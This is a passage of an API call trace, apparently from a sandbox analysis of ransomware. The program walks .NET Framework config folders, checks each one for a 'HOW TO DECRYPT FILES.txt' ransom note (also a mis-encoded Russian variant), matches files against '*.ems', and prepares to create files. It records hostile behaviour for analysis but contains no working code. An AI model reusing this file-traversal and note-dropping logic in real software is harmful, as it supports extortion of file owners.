DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.412] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="firefox.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\firefox.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\firefox.browser" [0137.412] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\firefox.browser", pszSpec="*.ems") returned 0 [0137.412] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf5b31a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x740078, dwReserved1=0x0, cFileName="gateway.browser", cAlternateFileName="GATEWA~1.BRO")) returned 1 [0137.412] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.413] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gateway.browser") returned -1 [0137.413] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gateway.browser") returned 1 [0137.413] lstrcmpiA (lpString1="", lpString2="gateway.browser") returned -1 [0137.413] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\firefox.browser") returned="firefox.browser" [0137.413] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.413] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.413] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.413] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.413] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="gateway.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\gateway.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\gateway.browser" [0137.413] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\gateway.browser", pszSpec="*.ems") returned 0 [0137.413] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf5d9300, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x15c1, dwReserved0=0x740078, dwReserved1=0x0, cFileName="generic.browser", cAlternateFileName="GENERI~1.BRO")) returned 1 [0137.413] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.413] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="generic.browser") returned -1 [0137.413] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="generic.browser") returned 1 [0137.414] lstrcmpiA (lpString1="", lpString2="generic.browser") returned -1 [0137.414] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\gateway.browser") returned="gateway.browser" [0137.414] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.414] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.414] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.414] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.414] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="generic.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\generic.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\generic.browser" [0137.414] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\generic.browser", pszSpec="*.ems") returned 0 [0137.414] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee29a00, ftCreationTime.dwHighDateTime=0x1d09e73, ftLastAccessTime.dwLowDateTime=0x593d2ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xeee29a00, ftLastWriteTime.dwHighDateTime=0x1d09e73, nFileSizeHigh=0x0, nFileSizeLow=0x142b, dwReserved0=0x740078, dwReserved1=0x0, cFileName="ie.browser", cAlternateFileName="IEDF02~1.BRO")) returned 1 [0137.414] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.414] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ie.browser") returned -1 [0137.414] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ie.browser") returned -1 [0137.414] lstrcmpiA (lpString1="", lpString2="ie.browser") returned -1 [0137.415] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\generic.browser") returned="generic.browser" [0137.415] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.415] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.415] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.415] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.415] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="ie.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\ie.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\ie.browser" [0137.415] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\ie.browser", pszSpec="*.ems") returned 0 [0137.415] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf64b720, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0xfcd, dwReserved0=0x740078, dwReserved1=0x0, cFileName="iemobile.browser", cAlternateFileName="IEMOBI~1.BRO")) returned 1 [0137.415] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.415] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="iemobile.browser") returned -1 [0137.416] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="iemobile.browser") returned -1 [0137.416] lstrcmpiA (lpString1="", lpString2="iemobile.browser") returned -1 [0137.416] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\ie.browser") returned="ie.browser" [0137.416] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.416] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.416] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.416] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.416] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="iemobile.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iemobile.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iemobile.browser" [0137.416] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iemobile.browser", pszSpec="*.ems") returned 0 [0137.416] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xcf72ff60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x6df, dwReserved0=0x740078, dwReserved1=0x0, cFileName="iphone.browser", cAlternateFileName="IPHONE~1.BRO")) returned 1 [0137.416] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.416] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="iphone.browser") returned -1 [0137.416] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="iphone.browser") returned -1 [0137.416] lstrcmpiA (lpString1="", lpString2="iphone.browser") returned -1 [0137.416] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iemobile.browser") returned="iemobile.browser" [0137.416] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.416] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.417] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.417] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.417] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="iphone.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iphone.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iphone.browser" [0137.417] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iphone.browser", pszSpec="*.ems") returned 0 [0137.417] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd0d34ae0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x1480, dwReserved0=0x740078, dwReserved1=0x0, cFileName="opera.browser", cAlternateFileName="OPERA~1.BRO")) returned 1 [0137.417] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.417] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="opera.browser") returned -1 [0137.417] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="opera.browser") returned -1 [0137.417] lstrcmpiA (lpString1="", lpString2="opera.browser") returned -1 [0137.417] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\iphone.browser") returned="iphone.browser" [0137.417] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.417] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.418] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.418] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.418] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="opera.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\opera.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\opera.browser" [0137.418] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\opera.browser", pszSpec="*.ems") returned 0 [0137.418] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd11f76e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0xde8, dwReserved0=0x740078, dwReserved1=0x0, cFileName="safari.browser", cAlternateFileName="SAFARI~1.BRO")) returned 1 [0137.418] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="safari.browser") returned -1 [0137.418] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="safari.browser") returned -1 [0137.418] lstrcmpiA (lpString1="", lpString2="safari.browser") returned -1 [0137.418] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\opera.browser") returned="opera.browser" [0137.418] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.418] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.418] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.419] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.419] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="safari.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\safari.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\safari.browser" [0137.419] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\safari.browser", pszSpec="*.ems") returned 0 [0137.419] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd5add8a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x6bd, dwReserved0=0x740078, dwReserved1=0x0, cFileName="ucbrowser.browser", cAlternateFileName="UCBROW~1.BRO")) returned 1 [0137.419] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.419] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ucbrowser.browser") returned -1 [0137.419] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ucbrowser.browser") returned -1 [0137.419] lstrcmpiA (lpString1="", lpString2="ucbrowser.browser") returned -1 [0137.419] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\safari.browser") returned="safari.browser" [0137.419] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" [0137.419] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\") returned="" [0137.419] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" [0137.420] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\browsers\\how to decrypt files.txt")) returned 0x20 [0137.420] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\", lpString2="ucbrowser.browser" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\ucbrowser.browser") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\ucbrowser.browser" [0137.420] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\Browsers\\ucbrowser.browser", pszSpec="*.ems") returned 0 [0137.420] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf793400, ftCreationTime.dwHighDateTime=0x1cd0c54, ftLastAccessTime.dwLowDateTime=0xd5add8a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xf793400, ftLastWriteTime.dwHighDateTime=0x1cd0c54, nFileSizeHigh=0x0, nFileSizeLow=0x6bd, dwReserved0=0x740078, dwReserved1=0x0, cFileName="ucbrowser.browser", cAlternateFileName="UCBROW~1.BRO")) returned 0 [0137.420] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.420] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ef1100, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec4d6e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7ef1100, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1131a, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="DefaultWsdlHelpGenerator.aspx", cAlternateFileName="DEFAUL~1.ASP")) returned 1 [0137.420] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.420] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultWsdlHelpGenerator.aspx") returned 1 [0137.420] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultWsdlHelpGenerator.aspx") returned 1 [0137.420] lstrcmpiA (lpString1="", lpString2="DefaultWsdlHelpGenerator.aspx") returned -1 [0137.420] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\*.*") returned="*.*" [0137.420] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.421] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.421] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.421] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0xffffffff [0137.421] CreateFileA 